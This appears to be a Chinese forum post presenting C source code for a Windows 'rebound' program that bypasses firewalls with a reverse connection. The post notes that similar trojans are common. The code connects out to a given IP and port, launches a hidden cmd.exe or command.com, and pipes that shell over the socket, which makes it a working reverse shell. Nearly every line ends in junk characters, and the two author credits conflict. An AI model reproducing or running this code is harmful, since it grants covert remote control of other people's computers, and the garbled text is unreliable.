这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {VI%]n{M
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/* ============================== ."3 J;j
Rebound port in Windows NT 5|AZ/!rb
By wind,2006/7 Ju:=-5r"'
===============================*/ 2y,~i;;_
#include 89WuxCFS
#include U~7.aZHPx3
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#pragma comment(lib,"wsock32.lib") [J:vSt
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void OutputShell(); Th"7p:SE?
SOCKET sClient; + J_W }G
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]ImS@!Ajjx
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void main(int argc,char **argv) 5ptbz<Xv
{ {5*+
WSADATA stWsaData; N\H(AzMw
int nRet; K<N0%c~
SOCKADDR_IN stSaiClient,stSaiServer; m
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if(argc != 3) c5Offnq'1
{ {\ .2h
printf("Useage:\n\rRebound DestIP DestPort\n"); hf%W grO.
return; ib&
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} Q>||HtF$A
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1f~_# EIC
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9#_49euy|P
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stSaiClient.sin_family = AF_INET; #`?uV)(
stSaiClient.sin_port = htons(0); j^LnHVHk1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {qj>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .p0;y3so4
{ 6g$+ ))g
printf("Bind Socket Failed!\n"); bEPXNN
return; lJq
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} 64zO%F*
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stSaiServer.sin_family = AF_INET; vlE#z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $|AvT;4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O:D`6U+0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~PS%^zxyn
{ Oi7:J>
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printf("Connect Error!"); M8
++JI
return; F2+lwyc Y
} NH|v`rO
OutputShell(); ysvn*9h+&
} h~<#1'/<
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void OutputShell() rJZ-/]Xf!6
{ [D/q%
char szBuff[1024]; |n]^gTJt
SECURITY_ATTRIBUTES stSecurityAttributes; n)
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OSVERSIONINFO stOsversionInfo; 6s>PZh
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z#O{rwnl
STARTUPINFO stStartupInfo; ;9 b?[G
char *szShell; [?;oiEe.|
PROCESS_INFORMATION stProcessInformation; 6:QJ@j\
unsigned long lBytesRead; y*_g1q$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XjL( V1
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ox)/*c<
stSecurityAttributes.lpSecurityDescriptor = 0; yKq;EcVx
stSecurityAttributes.bInheritHandle = TRUE; J2yq|n?2gq
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <:/V`b3a
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /&vUi7'
}8 ,b;Q
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BXLhi(.s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2R.YHj
stStartupInfo.wShowWindow = SW_HIDE; \b~zyt6-
stStartupInfo.hStdInput = hReadPipe; hLO nX<%a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]_5C5m
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GetVersionEx(&stOsversionInfo); d0|Q1R+3
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switch(stOsversionInfo.dwPlatformId) /l@ 7MxE
{ Jg: Uv6eN+
case 1: >uxak2nM-
szShell = "command.com"; Rm6<"SLV
break; "PnYa)?1
default: ZH/|L?Q1U
szShell = "cmd.exe"; 8=t?rA
break; vR#A7y @!
} LvE|K&R|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Bxz{rR0XV
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send(sClient,szMsg,77,0); %!LrC!6P4
while(1) \:^$ZBQr<n
{ #O=^%C7p
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :B)w0 tVw
if(lBytesRead) dqPJ 2j $\
{ i_f"?X;D
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l,pq;>c9a
send(sClient,szBuff,lBytesRead,0); 7dN]OUdi
} D[yaAG<
else _MnMT9
{ kU4Zij-O
lBytesRead=recv(sClient,szBuff,1024,0); Cl i k
if(lBytesRead<=0) break; c]&(h L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &ViIxJZ1$
} b-%7@j
} U{{RRK|
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return; H=7dp%b"
}